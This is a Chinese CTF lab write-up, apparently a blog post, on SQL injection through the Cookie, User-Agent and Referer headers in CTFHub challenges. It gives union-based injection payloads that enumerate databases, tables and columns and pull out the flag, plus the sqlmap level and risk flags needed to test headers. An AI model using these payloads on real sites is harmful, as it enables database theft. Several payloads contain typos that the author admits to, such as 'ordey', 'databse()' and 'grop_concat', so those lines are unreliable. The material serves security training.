sql注入的基本注入可以参考:记基于ctfhubsql注入的学习-CSDN博客,sql注入之时间盲注-CSDN博客。
本篇主要记录:sql注入中的cookie处的注入,user-ager处的注入,referer处的注入。
(一)cookie注入:
1.手工注入:
在地址栏输入:
?id=1 #发现会有回显
?id=1 and 1=2 #什么都没有发生,所以可以推断GET的值大概率不去数据库。
然后可以使用bursp抓包了,其实本题已经提示您是cookie注入。但还要当未知的状态去探索。
发现cookie中有id,于是我们尝试修改一下。
发现他也改变了,于是就可以确定是cookie是注入点了。
然后就开始尝试
1 and 1=1 #有成功执行数据
1 and 1=2 #无报错信息
所以确定可以使用的方法为:联合注入和时间盲注。
1 ordey by 2 #有信息返回
1 order by 3 #无信息返回
1 union select 1,2
-1 union select 1,databse()
#得到名为:sqli
-1 union select 1,grop_concat(table_name) from information_schema.tables where table_schema='sqli'
#得到表为:mrsmgkwktd,news
-1 union select 1,grop_concat(column_name) from information_schema.columns where table_name='mrsmgkwktd'
#得到列为:orclhhzjol
-1 union select 1,orclhhzjol from sqli.mrsmgkwktd #得到flag
#由于是直接打的没经过验证,所以可能会有个别错误,具体可参考记基于ctfhubsql注入的学习-CSDN博客
得到库名:sqli在burp可以这里复制文字。
获取表名:mrsmgkwkt,news
获取到列名:orclhhzjol
最好获取到flag
2.sqlmap注入
参数说明:
默认level为1
只有当level=2时Cookie才会被测试,否则找不出cookie的注入。
竟然有三种方法错判了。
(二)user-agent注入
1.手工注入:
一进入页面就发现了一堆代码,
可以知道id参数大概率是在user-agent中,数据库是获取用户的浏览器信息。
所以直接抓包,然后尝试将浏览器信息删除,发现id后面的信息也没有了。
然后就继续注入测试。
1 and 1=1 #有显示信息
1 and 1=2 #无显示信息
所以确定整型注入,可以使用联合,时间盲注。
1 and order by 2
1 and order by 3
-1 union 1,select databse()
#得到库名:sqli
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
#得到表:news,qqsolvrcsi
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='qqsolvrcsi'
#最后得到列:jpsjltnxfk
2.sqlmap注入
参数说明:
--level=3 只有3级才会扫描user-agent
-risk=3 是风险等级
--batch 是默认选择,避免每次都要停下来等我们选择是否继续。
(三)refer处的注入
1.手工注入
拿到网站后我们先常规的用get传id发现没效果,然后就可以抓包了,当然题目也已经是说refer注入,让我们在referer中添加id。
抓包。
发现没有referer,这是因为我们是用GET的传参的,所以没有。因此有两个方法
法一:使用post传一个值
法二:直接加一个referer。
然后就可以继续常规测试了
1 and 1=2 #无报错信息
1 and 1=1 #有报错信息
1 order by 2 #有信息
1 order by 3 #无信息
-1 union select 1,database()
#得到数据库名字:sqli
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
#得到表名:zfxfbpfgld,news
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='zfxfbpfgld'
#得到列名:qqsxbhfntd
-1 union select 1,oqsxbhfntd from sqli.zfxfbpfgld
#得到flag:ctfhub{5859a5f2024f76ec15b79f23}
经过这两个就可以判断注入点为整型类型,可以进行联合注入和时间盲注。
2.sqlmap注入
只有比level=3 更高等级才能扫出referer注入的漏洞。
注意level=3和--risk=3是必要的,不然也扫不出来。
--batch选择默认选项。
最后就能得到flag了。
最后:除了cookie处的注入,user-ager处的注入,referer处的注入,还有其他的注入点,如host处注入点等等,但万变不离其宗。